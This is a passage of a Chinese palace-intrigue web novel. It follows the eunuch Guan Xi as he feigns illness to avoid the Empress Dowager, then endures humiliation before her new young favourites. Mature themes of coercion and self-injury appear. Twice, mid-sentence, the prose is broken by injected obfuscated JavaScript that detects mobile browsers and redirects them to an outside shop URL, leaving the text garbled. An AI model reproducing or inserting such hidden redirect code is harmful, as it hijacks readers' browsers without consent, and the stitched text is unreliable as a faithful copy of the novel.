一声极其清脆响亮的耳光,在寂静的轿厢内炸开。 关禧用了十足的力道,右手狠狠掴在自己的脸上,疼痛瞬间蔓延,火辣辣灼烧着皮肤,也短暂炸散了脑海中那些混乱不堪的思绪。 轿子猛地一顿。 抬轿的太监训练有素,虽惊不乱,立刻稳住了脚步。但跟在轿旁,一直竖着耳朵留意里面动静的双喜,被这突如其来的一声脆响吓得魂飞魄散。 他想起督主从承华宫出来时,那比去时更加苍白的脸色,想起他上轿时踉跄的脚步,还有此刻轿内死一般的寂静,在承华宫里究竟发生了什么?青黛姑娘的病难道比想象的更糟?还是冯昭仪说了什么? “督主?!您……您怎么了?可是哪儿不舒服?” 轿帘纹丝不动,里面没有任何回应。 双喜急得额头冒汗,又不敢贸然掀帘查看,只能压低声音,再次询问:“督主?您说句话啊!是不是伤口疼?奴才这就让他们走快些,回衙署传太医!” “……闭嘴。” “继续走。回衙署。” 双喜听出他声音里的异样,不敢再多问,只得惴惴不安地应了声“是”,示意轿夫继续平稳前行,自己则紧紧贴着轿子,恨不能穿透帘子,看清里面人的状况。 轿厢内,关禧慢慢放下刺痛的手。右半边脸迅速肿胀起来,口腔里有铁锈味弥漫,是牙龈被震出的血。疼痛是清晰的,真实的,像一盆冰水,浇灭了方才那阵翻涌的混乱。 他睁开眼,眼底那片狂躁的猩红褪去一些。 这一巴掌,打醒了。 他不能再这样下去。被情绪裹挟,被过去的阴影纠缠,被每一个伸出指尖的人拨动心弦。在这条路上,多一分软弱,多一分摇摆,就是将自己和所在意的人,更快地推向万劫不复。 冯媛的试探,是蜜糖,也是砒霜。她或许有几分真心,但更多的,是权力博弈中的算计,是对昔日玩具成长超出控制的不甘,以及……对他如今这副皮囊和权势的某种掠夺欲。这与太后有何本质区别?不过是一个更直接,一个更迂回,一个用强权,一个用情丝。 他不能陷进去。楚玉是他的软肋,是他的念想,他必须牢牢抓住她,也必须让自己,配得上她那份绝望之后,依旧选择抓住他的手。 他抬手,用指腹抹去嘴角渗出的血丝,眼神逐渐凝聚,变得锐利如刀。 路还很长。他没有资格自怜自伤,更没有资格摇摆不定。 从今天起,他必须更清醒,更冷酷,更善于利用每一分情绪,无论是自己的,还是别人的。 包括冯媛那份“可惜了”的暧昧。 轿子稳稳停下,衙署到了。 双喜掀开轿帘。当看到关禧红肿的半边脸颊和嘴角那抹刺目的血迹时,他倒抽一口冷气,“督主!您的脸……” “没事。”关禧打断他,语气平静得可怕。他踏出轿子,挺直的背脊看不出丝毫方才轿中的颓唐,“去拿些冰来敷一下。另外,把何璋叫来,本督有事吩咐。” 他迈步走向衙署深处,脚步沉稳,方才那一瞬间的失控,已被彻底掩埋在面具之下。只有袖中紧握的指甲深陷掌心的手,泄露着一丝未平的波澜。 但很快,连那一点波澜,也会被生存的欲望所吞噬。 在这座吃人的宫殿里,他没有退路,只能成为比深渊更冷,比刀锋更利,那个真正的九千岁。 120.第 120 章 夜色如墨,泼洒在重重宫阙之上。 内缉事厂衙署的后寝室内,地龙烧得正好,暖意驱散了冬夜的寒。关禧独自一坐在浴桶中,温热的水漫过肩膀,氤氲的蒸汽模糊了他的眉眼。右脸颊的红肿在热水熏蒸下愈发明显,颈侧那道敷了药的细长伤口也开始隐隐作痛。 他深吸一口气,整个人沉入水中,直到口鼻没入水面之下。温水包裹着听觉,世界只剩下水流汩汩的闷响,有那么一瞬间,真想就此沉溺,不必再浮起面对那些不堪。 但仅仅数息之后,求生本能便驱使着他坐起,水花四溅。他大口喘着气,水珠顺着湿漉的黑发滑落,流过脸颊的红肿和颈间的伤。 不能死。至少现在不能。 他从浴桶中起身,用柔软的棉巾擦干身体。镜中映出的年轻躯体,线条紧实,遍布着新旧不一的痕迹,肩背上是太后昨夜留下的抓痕,颈侧是自己今日划出的伤口,腰腹间还有更早以前在永寿宫侍奉时,被那些精致护甲无意或有意划出的浅淡印记。 他面无表情套上洁净的素白中衣,又在外头披了件深青色家常棉袍。头发只用一根乌木簪松松挽着,几缕湿发垂在颈侧。 走到床边时,倦意如潮水般席卷而来。这一天太过漫长,从永寿宫晨起时的旖旎,到承华宫午后的交锋,再到回程轿中那记自省的耳光……每一刻都在消耗着他的心神。年关将近,司礼监与内缉事厂堆积的公务本就比平日更多,各部的年节奏销,宫中用度核准,京畿防务调整……哪一桩不要他亲自过目,批红或暗中布局? 他只想躺下,闭上眼睛,哪怕只睡一个时辰也好。 门外传来叩门声。 关禧眉头微蹙,已是亥时三刻,若无紧急要务,衙署内无人敢在这个时辰打扰他。 “进来。”他的声音有些沙哑。 门被推开一条缝,双喜闪了进来。他低着头,手里捧着一个黑漆托盘,上面放着一碗还冒着热气的燕窝粥和几碟清淡小菜。 “督主,您晚膳没用多少,奴才让小厨房炖了碗粥,您用些再歇息吧。”双喜将托盘放在外间的圆桌上,并未像往常一样放下就退下,垂手站在那儿,脚尖碾着地毯边缘,眼神飘忽不定。 关禧坐在床沿,抬眼看他:“还有事?” 双喜浑身一僵,嘴唇动了动,却没发出声音,把头垂得更低。 关禧的眉头蹙得更紧。双喜跟了他这么久,什么性情他一清二楚,这般吞吞吐吐,定是有什么难以启齿的事。 “说。”他语气沉了沉。 双喜“扑通”一声跪下了,额头触地,声音发颤:“督主……奴才、奴才该死……傍晚时分,永寿宫的江嬷嬷递了话过来……” 永寿宫。 关禧忽然想起晨间离开时,太后那句带着无限遐想的“等晚上……”。当时他心神激荡,并未细想,后来又被承华宫的事搅得昏天暗地,竟将这茬忘得一干二净! “什么时辰递的话?原话怎么说的?” 双喜伏在地上,抖得更厉害:“是、是申正前后……江嬷嬷亲自来的衙署,说太后娘娘口谕:请关掌印晚膳后,得空去永寿宫一趟,娘娘有些……有些关于年节赏赐宗室的事儿,想与掌印商议。”他顿了顿,声音细不可闻,“江嬷嬷还说……娘娘今日午膳时与陛下说话,提起了掌印,说掌印年轻能干,让陛下也多倚重些……话里话外,似是……似是盼着掌印去的。” 关禧的心沉到了谷底。 太后哪里是要商议什么赏赐宗室?那不过是冠冕堂皇的借口。她真正要的,是兑现晨间那个未尽的承诺,是要他今夜去侍奉,去排遣寂寞。而且,她还特意点出在皇帝面前说了他的好话,这既是施恩,也是提醒:你的荣宠是谁给的,该对谁尽心。 若是往常,关禧即便再累,也会立刻更衣前往,不敢有丝毫怠慢。太后召见,尤其是这种带着暧昧意味的召见,从来不是他能拒绝的。 可是现在…… 他抬手,指尖碰了碰右颊红肿刺痛的地方,又抚上颈侧那道被衣领遮掩的伤口。这两处伤,任何一处被太后看见,都足以引发一场滔天风波。脸颊的伤还能勉强寻个由头遮掩,可颈侧那道……分明是利刃所伤,位置又如此凶险,一旦被发现,太后会怎么想?会怀疑谁?会不会顺藤摸瓜,查到楚玉身上? 更何况,他此刻身心俱疲,实在没有力气,也没有心力,再去永寿宫那张凤榻上,曲意承欢,演一场身心俱疲的戏。 “你为什么现在才说?” 双喜抬起头,眼圈已经红了:“奴才……奴才见督主从承华宫回来时脸色极差,又……又听见轿子里那声响动……奴才不敢问,但猜测定是发生了极不好的事。后来督主沐浴时,奴才瞧见您颈上……奴才想着,若是去了永寿宫,被太后娘娘瞧见,恐怕……奴才这才斗胆,先将话压下了,想着等督主歇下再说……奴才该死!奴才不该自作主张!” 他说着,又重重磕下头去。 双喜的隐瞒固然是僭越,但确确实实是在为关禧着想。这深宫里,能有一个这样全心为他考虑的人,已是难得。 “起来吧。”关禧说,“不怪你。” 双喜如蒙大赦,颤巍巍爬起来,仍不敢抬头。 关禧走到窗边,推开一条缝隙。冬夜的寒风灌入,吹散室内的暖意,也让他昏沉的头脑清醒了些。 躲。 这个字浮现在脑海。 他不是第一次对太后的召见心生抗拒,但从未像此刻这般强烈。不仅仅是因为脸上的伤,更因为今天发生的一切,让他对那种赤裸裸将人当作玩物般的掌控和索取,产生了前所未有的厌恶和疲倦。 他想要一点喘息的空间,哪怕只有几天。 “双喜,”关禧转过身,声音已经恢复了平日的冷静,“去永寿宫回话。就说本督今日从承华宫回来后,忽感风寒,头痛发热,身上也不爽利,恐过了病气给娘娘,今晚便不过去了。待病体稍愈,再亲往永寿宫请罪。” 双喜抬头,脸上血色尽褪:“督、督主……这、这能行吗?太后娘娘那边……” “照我说的去做。”关禧打断他,“言辞要恭谨,姿态要放低,但态度要坚决。就说本督已经服了药睡下,不便起身。江嬷嬷若问起详情,你便说本督操劳过度,又染了寒气,太医嘱咐需静养几日。” 他顿了顿,补充道:“若太后娘娘问起承华宫的事……你就说本督只是循例核查宫务,与冯昭仪娘娘说了会儿话,并未久留。至于本督脸上的伤……”他摸了摸红肿的右颊,“就说本督不小心撞在了门框上。总之,不能透露半分实情。” 双喜听得心惊肉跳。装病躲避太后召见,这简直是老虎头上拔毛!可看着关禧坚定的眼神,他知道督主心意已决。 “奴才明白了。”双喜咬牙应下,转身就要往外走。 “等等。”关禧又叫住他,“告诉何璋,从明日起,本督感染风寒,需要静养,暂不见客。一应公务,非十万火急者,皆由他先处理,紧要的再报进来。另外,把周时安请来,开一张治风寒、需静养的方子,做做样子。” “是。”双喜领命,匆匆退了出去。 室内重新恢复寂静。关禧走到桌边,端起那碗已经微温的燕窝粥,慢慢吃着。粥很软糯,但他食不知味。 他在赌。赌太后不会因为一次生病就立刻发作,赌她对他还有几分容忍和耐心,也赌她近日因年节和与皇帝微妙的关系,暂时无暇深究。 但他更清楚,这只是权宜之计。太后的掌控欲极强,绝不允许手中的棋子脱离掌控太久。几天,或许就是他能够争取到的全部时间。 接下来的几日,关禧果真称病不出。 衙署内外戒备森严,何璋对外宣称督主操劳过度,感染风寒,需静养调理。一应往来公文,皆由何璋与几位得力掌班先行处理,只有极其紧要的密报,才会送到关禧床前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294260|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周时安被秘密请来诊脉,开了张温补调理,需避风静养的方子。关禧脸上的红肿在冰敷和药膏作用下渐渐消退,只留下一片淡淡的青黄,用脂粉便能遮掩。颈侧的伤口愈合较快,结了细细的痂,藏在立领之下,若不细看也难以察觉。 他大部分时间都待在衙署深处的寝室内,偶尔在夜深人静时,披着大氅在庭院中独自走走。 雪停了又下,将天地重新涂抹成素白。 第一天,风平浪静。永寿宫那边只遣了个小太监来问候,送了些滋补药材。 第二天,江嬷嬷亲自来了一趟,被双喜以“督主刚服了药睡下”为由挡在了门外。江嬷嬷隔着门说了几句“太后娘娘挂念,请督主好生养病”的场面话,语气听不出什么异常,但离开时那双锐利的眼睛在衙署内扫视了一圈。 第三天,关禧正在灯下批阅一份关于边镇年节犒赏银两拨付的密报,双喜慌慌张张跑了进来。 “督、督主!”他脸色发白,“永寿宫……永寿宫又派人来了!这次是……是传太后娘娘口谕!” 关禧笔尖一顿,一滴朱砂落在纸笺上,缓缓泅开,如血。 “说什么?” “说……太后娘娘体恤掌印病中辛苦,特赐下宫中秘制的丹药一瓶,命掌印即刻服用,以助康复。”双喜的声音发颤,“来传话的公公还说……娘娘希望掌印莫要辜负圣恩,早日……早日康复,娘娘那边,还有许多事等着掌印去办。” 关禧放下笔,靠向椅背。 太后赐药,从来不只是关心。这是一种催促,一种无形的鞭子,抽打着他,提醒他该病愈了。 而且,“莫要辜负圣恩”,“许多事等着掌印去办”……这话里的意味,再明显不过。 “药呢?”他问。 双喜从怀中取出一个巴掌大的羊脂玉瓶,双手奉上。玉瓶触手温润,雕着精细的蟠龙纹,瓶塞用蜜蜡封着。 关禧接过,拔开塞子,倒出一粒龙眼大小,色泽赤金,异香扑鼻的药丸。他放在鼻端闻了闻,气味复杂,既有名贵药材的醇厚,又隐隐透着一丝难以言喻的甜腻。 这药……绝非普通的补药。 他重新塞好瓶子,递给双喜:“收起来。对外就说本督已经服下,感激娘娘隆恩。” “督主,这药……”双喜有些担忧。 “无妨。”关禧淡淡道,“太后若要我的命,用不着这么麻烦。” 话虽如此,但他心中清楚,太后这是在给他最后的期限。这瓶药,既是关怀,也是警告:你的病,该好了。 果然,第四天傍晚,何璋匆匆来报:司礼监收到永寿宫直接发来的条子,过问几桩关于年后祭祀典礼器皿采办事宜,指名要关掌印亲自裁定。 条子措辞客气,但意思明确,太后不再接受他病中静养的借口了。 关禧坐在书案后,看着窗外又渐渐飘起的雪花。 躲不过了。 他叹了口气,对侍立在一旁的双喜道:“更衣。备轿。” “督主,您……”双喜欲言又止。 “去永寿宫。”关禧站起身,活动了一下因久坐而有些僵硬的肩颈,“向太后娘娘,请罪,并谢恩。” 该面对的,终究要面对。几日的喘息,已是奢侈。 他换上一身崭新的绯红坐蟒袍,颈间的衣领整理得一丝不苟,又用些许脂粉,仔细遮掩了脸上残存的淡淡痕迹。铜镜中的少年权宦,姿容昳丽,气度沉凝,唯有那双凤眼深处,藏着一抹挥之不去的倦意。 踏上前往永寿宫的轿子时,关禧回头看了一眼衙署大门上悬挂的“内缉事厂”牌匾。 风雪中,那四个字显得格外森然。 短暂的躲避结束了。接下来,将是更加凶险的博弈,而这一次,他连称病退避的余地,恐怕都不会再有了。 轿帘落下,隔绝了视线。 轿子起行,朝着那座灯火通明的宫殿,平稳行去。 121.第 121 章 轿子停在永寿宫门前时,天色已暗透,雪沫在宫灯昏黄的光晕里打着旋,簌簌落下,给这座本就威严的宫殿披上了一层更加孤高清冷的寂寥。 往常这个时候,值守宫门的太监远远看见这顶轿子和随行的双喜,早已满脸堆笑小跑上前,一边恭迎一边麻利打开宫门。可今日,紧闭的朱红宫门前,两个裹着厚实棉袍的太监垂手肃立,对停在阶下的轿子视若无睹。 轿帘掀开,关禧踏着脚凳下来,玄色大氅的绒毛边沾上了细碎的雪粒。他站在轿前,望向那扇紧闭的宫门,以及门后隐隐透出属于永寿宫正殿的煌煌灯火。 来了。他心中了然。这是下马威。太后在用这种方式告诉他:他的位置,他的荣宠,乃至他踏进这道门的资格,都来源于她的恩赐。他可以病几天,但她也可以让他连门都进不去。 他抬步,靴底踩在清扫过又覆上新雪的台阶上,发出“咯吱”声。一直走到宫门前,那两个值守太监才仿佛刚看见他似的,齐齐躬身。 “关掌印万安。”其中一个年纪稍长的太监开口道,声音在寒夜里有些发飘,“这么晚了,雪又大,您怎么过来了?可是有急事要禀报太后娘娘?” 明知故问。关禧唇角弯了一下,那弧度冰冷:“本督特来向太后娘娘请安,并谢娘娘赐药隆恩。劳烦通传。” 那太监脸上露出恰到好处的为难:“哎哟,掌印,这……不是奴才们不尽心,只是时辰确实晚了,娘娘凤体为重,怕是早已安歇了。再者,宫门已下钥,按规矩……” “规矩是死的,人是活的。”关禧打断他,“况且,太后娘娘遣人赐药,关怀备至,本督理当面谢。娘娘若真已安歇,本督便在门外候着,等娘娘方便时再行禀见。烦请公公,进去通传一声。” 他的目光落在那太监脸上,很平静,却让那太监心头一凛,下意识避开了视线。眼前这位是司礼监掌印,是内缉事厂提督。太后娘娘或许可以晾着他,但他们这些底下人,哪里真敢把他得罪死了? “这……掌印稍候,奴才这就进去问问江嬷嬷。”那太监不敢再推诿,对同伴使了个眼色,自己转身,推开一道门缝,侧身溜了进去。 宫门重新合拢。 关禧站在原地。北风卷着雪粒子,扑打在他身上,脸上,大氅很快便落了一层薄白。双喜想上前给他撑伞,被他一个眼神制止了。他身后,四名番役一动不动。一时间,永寿宫门前只剩下风雪的呼啸。 时间在寒冷与寂静中被拉长。 一盏茶,一炷香……宫门内杳无音信。 不知过了多久,久到双喜的脚都冻得有些发麻,牙齿开始不受控制打颤时,那扇宫门,才终于“吱呀”一声,被拉开了一条缝隙。 江嬷嬷的身影出现在门后。她穿着深褐色绣福字纹的锦缎棉袄,外头罩着同色的出锋比甲,她先扫了一眼门外雪地里站着的关禧,目光在他肩头的落雪和略显苍白的脸上停留了一瞬,这才慢条斯理地开口: “关掌印,久等了。太后娘娘听闻您抱恙,心中挂念,只是今夜娘娘另有要事,本不便打扰。但念在掌印一片孝心,雪夜前来,娘娘还是允了。请随老奴来吧。” 她侧身让开道路。 关禧颔首:“有劳江嬷嬷。”他举步,跨过高高的门槛,踏入永寿宫廊庑之下。 双喜和番役被留在门外。 随着宫门在身后再次合拢,外界的风雪与寒气被彻底隔绝。廊下灯火通明,暖意融融,空气里浮动着熟悉的龙涎香气,却比往日更浓郁几分,还混杂着一丝若有若无的酒香,以及另一种属于年轻男子的熏香气息。 江嬷嬷在前引路,脚步不疾不徐。穿过前殿,走向寝宫方向的路上,她忽然开口,声音不高,恰好能让身后的关禧听清: “掌印这几日病着,倒是清净。只是这宫里宫外,盯着您这位子的人,可从未歇过心思。娘娘能给的,自然也能收回。您年纪轻,得娘娘青眼,是福分,但也该知道惜福、感恩。恃宠而骄……在这宫里,可是大忌。多少人挤破了头,想往娘娘跟前凑,想为娘娘分忧解难,娘娘身边,从来不缺伶俐懂事、知情识趣的人。” 她话里的敲打之意,再明显不过。既点明了他此次称病的莽撞和可能引发的猜忌,也暗示着,太后身边的位置,无论是权力位置,还是床榻之侧的位置,并非非他不可。 关禧跟在后面半步之遥,垂着眼,长长的睫毛在眼下投出浅浅的阴影,遮住了眸中所有情绪,“嬷嬷教训的是。我年轻识浅,前几日确实身子不争气,又恐过了病气给娘娘,这才斗胆静养了几日。心中实在惶恐,今日特来向娘娘请罪谢恩。奴才的一切,皆是娘娘所赐,从不敢有丝毫忘本骄矜之心。” 江嬷嬷听了,脚步一顿,侧头瞥了他一眼,见他姿态放得极低,神色诚恳,倒也挑不出什么错处,便又转回头去,轻哼了一声。 两人继续前行,越靠近寝殿区域,那酒香和甜腻的熏香气便越发清晰,还隐约传来丝竹管弦之声,以及男子低低的说笑声,虽然隔着重重殿宇帷幕,听不真切,但足以打破永寿宫往日夜晚的肃穆寂静。 走到寝殿院落外的月亮门处,江嬷嬷停了下来。她转过身,面对着关禧,脸上那种程式化的表情终于有了一丝裂痕,眼神复杂。 “掌印,娘娘就在里头。不过今夜娘娘兴致颇高,召了两位从宫外请来的清客,陪着说话解闷,饮了几杯酒。这会儿,正乐着呢。” 她刻意停顿了一下,观察着关禧的反应。清客?从宫外召来的男子?以太后的身份和手段,这自然不算什么大事。但在这个时间,以这种方式,在他被晾在雪地里许久后才准进入的时候,特意告诉他这些…… 关禧的脸上没什么表情,“多谢嬷嬷提点。” 见他如此平静,没有流露出一丝惊讶或异样,江嬷嬷眼底掠过一丝失望,又似乎松了一口气,叹道:“你是个聪明人,多余的话,老奴也不说了。进去吧,仔细着回话。” 说完,她率先转身,引着他走进了那扇挂着锦帘的月亮门。 寝殿院落内温暖如春,几盏琉璃宫灯将雪景映照得如白昼,空气中浮动的暖香,酒香,脂粉香混杂在一起,形成一种暧昧的氛围。正殿门窗紧闭,但明亮的灯光和隐约的乐曲声,笑语声正从里面透出来。 江嬷嬷走到殿门前,叩了叩,然后提高声音道:“娘娘,关掌印来了。” 里面的丝竹声停顿了一瞬,接着,一个慵懒中带着几分微醺笑意的女声响起:“哦?让他进来吧。” 江嬷嬷推开殿门,暖热的气息混杂着更浓郁的香气扑面而来。她对关禧做了个“请”的手势,自己则退到了一旁。 关禧定了定神,抬步,跨入了这间他熟悉的寝殿。 殿内的景象。 与他上次深夜闯入时的寂静庄严,或是平时白日觐见时的雍容华贵都截然不同。此刻的寝殿,更像一个精心布置极尽奢靡的欢宴场所。 地上铺着的厚密波斯地毯上,随意散落着几个锦绣软垫和引枕。紫檀木圆桌上,摆满了珍馐佳肴和精美的酒具,许多菜肴只动了几筷,酒壶却空了好几个。角落里的鎏金仙鹤香炉吞吐着香甜的烟雾,一旁还有乐师低眉敛目,吹奏着悠扬的笛曲。 而最引人注目的,是坐在正中宽大贵妃榻上的郑书意,以及依偎在她身侧的两个年轻男子。 郑书意今日穿着一身罕见的绯红色广袖留仙裙,衣料轻薄柔软,随着她的动作如水般流淌,裙裾上绣着大朵大朵用金线勾勒的曼陀罗花,在灯光下熠熠生辉。她乌发半绾,斜插着一支赤金点翠凤凰步摇,凤口衔下的流苏随着她的动作晃动。脸上薄施胭脂,眼尾用胭脂晕染上挑,衬得那双本就潋滟的杏眼更是媚意横生,顾盼间流光溢彩。她一手支着额角,另一只手握着一只白玉酒杯,脸颊泛着淡淡的红晕,显然已有了几分醉意。 而靠在她身边的两个男子,看起来都不过十七八岁年纪,生得极为俊美,甚至可称阴柔。一人穿着月白色的直裰,气质清雅,眉眼温柔,正含着一抹浅笑,替郑书意剥着一颗水晶葡萄;另一人则穿着茜红色的锦袍,颜色竟与郑书意的裙裾有几分呼应,面容更为昳丽,眼波流转间自带风情,他一只手搭在郑书意膝头,另一只手执壶,正欲为她斟酒。 这两个少年,无论是年纪容貌类型,乃至他们此刻依偎的姿态,眼中的仰慕与讨好都与曾经的小离子,与如今的关禧,有着某种相似性。他们是刻意寻来的替代品,是太后用来敲打他,提醒他并非不可取代的活生生的道具。 关禧的脚步在门口停顿了一瞬,仅仅一瞬。他垂下眼帘,掩去眸中所有翻腾的情绪,快步走到殿中央,撩袍跪倒,以额触地: “奴才关禧,叩见太后娘娘。娘娘万福金安。” 郑书意这才将目光从身侧少年奉上的葡萄上移开,投向下首跪伏在地的身影。她红唇微勾,眼波流转,晃了晃手中的酒杯。 “哟,这不是咱们日理万机、病体初愈的关大掌印吗?”她的声音拖得长长的,带着笑,却没什么温度,“这么晚了,雪又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298476|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,难为你还惦记着来给哀家请安。起来吧,别跪着了,仔细地上凉。” “谢娘娘。”关禧依言起身,垂着眼,姿态恭谨至极。 郑书意抿了一口酒,目光在他身上逡巡,从挺拔的身姿,到低垂的眉眼,再到那身代表着内廷最高权柄的绯红坐蟒袍。她的视线,最终不经意般扫过了他颈侧,那里衣领整齐,看不出丝毫异样。 “看着气色倒比前几日好些了。”她放下酒杯,任由那红衣少年又为她斟满,“周时安的药,看来还算对症。哀家赐你的那丹药,可用了?效果如何?” 关禧躬身答道:“回娘娘,周院判医术高明,娘娘所赐灵丹更是神效。奴才服后,顿觉通体舒泰,精神健旺。奴才卑贱之躯,得娘娘如此垂怜厚赐,感激涕零,无以为报。”他将病愈和感恩的姿态做得十足。 “嗯,知道感恩就好。”郑书意点点头,纤指点了点身旁的白衣少年,“这是清和,擅琴棋,性子最是温雅。”又指了指红衣少年,“这是绯羽,歌舞双绝,尤其一支胡旋,跳得极好。哀家近来闷得很,便召他们进来,陪着说说话,解解闷儿。你瞧着,如何?” 她把问题抛给了关禧,语气随意得像是在品评两件新得的玩意儿。 关禧抬起眼,目光掠过那两个少年姣好的面容,他们的年轻,他们的鲜嫩,他们眼中对太后毫不掩饰的讨好,像一面镜子,隐隐照出他自己某些不堪的侧面。他袖中的手指蜷缩,面上分毫不显,露出一丝恰到好处属于臣下对主上喜好的奉承笑意: “娘娘眼光自是极好的。两位公子钟灵毓秀,各有千秋,能得娘娘青眼,是他们的福分。有他们陪伴娘娘,为娘娘解颐,奴才也为娘娘高兴。” 他回答得滴水不漏,恭顺无比,仿佛真心实意为太后寻得新乐而欣喜。 郑书意盯着他看了几秒,忽然“噗嗤”一声笑了出来,笑声在暖香浮动的殿内回荡。 “关禧啊关禧,”她斜倚在锦绣堆叠的贵妃榻上,绯红留仙裙的广袖滑落一截,露出一段欺霜赛雪的小臂,眼尾那抹特意晕染的胭脂红,在酒意氤氲下愈发潋滟生姿,目光却如浸了冰水的琉璃珠,在关禧身上打转,眼波横掠,“你这张嘴,真是越来越会说话了。” “嘴上说着高兴,心里头……指不定怎么编排哀家喜新厌旧呢。”她拖长了语调,指尖一松,那只别透的白玉酒杯便被身侧唤作绯羽的红衣少年接住,又殷勤斟满。 清和则适时将剥好的一小碟水晶葡萄奉上,声音清润:“娘娘凤体尊贵,莫要为些许琐事费神。关掌印深明事理,自然懂得娘娘的苦心。” 郑书意拈起一枚葡萄,却不急于入口,目光锁着垂手而立的关禧,唇角勾起一抹玩味的弧度:“哦?清和倒是会替他说话。那绯羽你呢?你瞧着咱们这位司礼监的关大掌印如何?” 绯羽显然比清和更跳脱些,也或许是多饮了几杯御赐的琥珀光,眼波流转间带着初生牛犊不怕虎的放肆,他顺着郑书意的目光,大胆打量起关禧来。 殿内烛火煌煌,映着关禧一身灼目的绯红坐蟒袍,金线绣出的狰狞蟒纹在光下似要活过来。他身姿挺拔如修竹静立,即便是垂首恭立的姿态,也自有一股历经杀伐沉淀下来的沉稳气度,与周遭奢靡浮艳的享乐氛围格格不人。那张脸更是夺目,即便低垂着眼,也能看清其妖异的轮廓,鼻梁挺直,唇线微抿,肤色在烛火与绯红衣袍映衬下,是一种缺乏血色的冷白,唯有眼尾那颗极淡的泪痣,平添了一丝难以言喻的风情。 绯羽看得心头莫名一跳,既有同为玩物被比较的不服,也有一种面对更完美同类时,名为嫉妒的复杂情绪。酒意壮胆,他嫣红的嘴唇一撇,声音带着少年人特有的清脆,又刻意拖出一点黏腻的调子: “关掌印自然是极好的……这通身的气派,这容貌风度,莫说内廷,便是放眼整个京城,怕也寻不出几个能及的。”他先是恭维,随即话锋微妙一转,眼波斜飞,似无意般扫过他平坦的腰腹之下,掩唇轻笑,“只是呀……奴才在宫外时也曾听说书先生讲过,某朝有位极得宠的宦官,也是生得潘安宋玉之貌,权势滔天,可到底……终究不是个齐全的男人。行事作风,难免带些阴柔诡谲之气,与真正顶天立地、能骑马射箭、开疆拓土的伟男子,终究是……隔了一层呢。” 他声音不高,吐字却清晰,尤其在齐全的男人,顶天立地,伟男子几个词上,不自觉加重了语气,再配上那意味深长的眼神和掩唇轻笑的动作,其中的嘲讽与挑衅,已如泌了密糖的毒针,明晃晃地刺了出来。 122.第 122 章 空气骤然一凝。 角落里的笛声已悄然停歇,乐师们恨不得将头埋进地里。清和脸色微白,扯了扯绯羽的袖子。江嬷嬷立在门边阴影里,眉头紧蹙,嘴唇动了动,终究没敢出声。 关禧垂着眼,面上像是覆了一层冰封的湖面,没有丝毫波澜。唯有那掩在宽大绯红袖袍下的手,指节收紧了一瞬,指甲陷进掌心。 太监,残缺,阴柔诡谲。 曾几何时,他也以为能摆脱这具身体的桎梏,可权力之路浸满鲜血,让他比任何人都更深刻地品尝到这残缺带来的永无休止羞辱。绯羽的话,像一把刀,在他尚未完全结痂的旧伤上,又狠狠剐了一下。 但他不能动怒,不能流露出半分异样。这里是永寿宫,面前是执掌他生杀予夺的太后,旁边是等着看他失态的新宠。一丝一毫的情绪泄露,都可能成为新的把柄,带来更深的折辱。 郑书意将这一切尽收眼底,抿了一口酒。 绯羽的话,她听得清清楚楚,那点小心思,她也看得明明白白。这少年仗着几分颜色和她的些许纵容,便想踩一踩这位声名赫赫的九千岁,既是在她面前争宠卖乖,也是少年人幼稚的意气之争。 有趣。 她的目光在绯羽那张因酒意和兴奋愈发艳丽的脸上停留了一瞬,又移向静立的关禧。烛光在他低垂的眼睫下投出浓密的阴影,看不清眼神,只能看见那线条凌厉的下颌。他越是平静,她越能感受到那平静之下汹涌的暗流。这孩子……忍功是越发见长了。只是不知,这忍耐的极限在哪里?被一个他当年影子般的少年,用最不堪的话语当面讥讽,他那颗被她亲手揉搓打磨得冷硬的心脏,是否还会感到刺痛? “绯羽啊,你这张嘴,”她伸出染着蔻丹的指尖,点了点少年光洁的额头,力道轻佻,“倒是比清和伶俐。只是,有些话,听听便罢了,岂能当真?” 她坐直了些,绯红裙裾如水波般流淌,目光从关禧身上移开,转而看向怀中两个少年,语气带着教诲:“这宫里宫外,什么样的人才能称得上伟男子?是只会骑马射箭的莽夫?还是空有皮囊的绣花枕头?”她顿了顿,眼波流转,重新投向关禧,这一次,目光里多了些别的东西,“能在这九重宫阙里站稳脚跟,能替主子分忧解难,能掌控生杀予夺之权……这样的人,难道不比如今那些只知斗鸡走马、吟风弄月的纨绔子弟,更算得上是人物?” 她的话说得慢条斯理,像是在为关禧正名,又处处透着居高临下的评判。她肯定了关禧的能力和权柄,却依旧将他框定在宦官奴才,为主子分忧的范畴内,那“人物”二字,褒贬难辨。 绯羽被她一点,酒醒了大半,脸上红白交错,低下头去,再不敢多言。清和更是屏息凝神。 郑书意有些倦了,挥了挥手:“好了,哀家也乏了。清和,绯羽,你们先下去吧。江嬷嬷,带他们去安置。” “是。” 两人如蒙大赦,连忙行礼,退了出去。乐师们也躬身退出。转眼间,方才还热闹浮华的寝殿,便只剩下郑书意与关禧两人,以及满室未散的暖香酒气。 郑书意自顾自地又斟了半杯酒,却没有喝,摇晃着,看着杯中琥珀色的液体打着旋。良久,她才抬眼,看向立在原地的关禧。 “过来。”她命令道。 关禧依言上前,步伐平稳,直到距离贵妃榻三步之遥处停下,再次垂首。 “离那么远做什么?怕哀家吃了你?”郑书意挑眉,拍了拍身侧的空位,“坐下。” 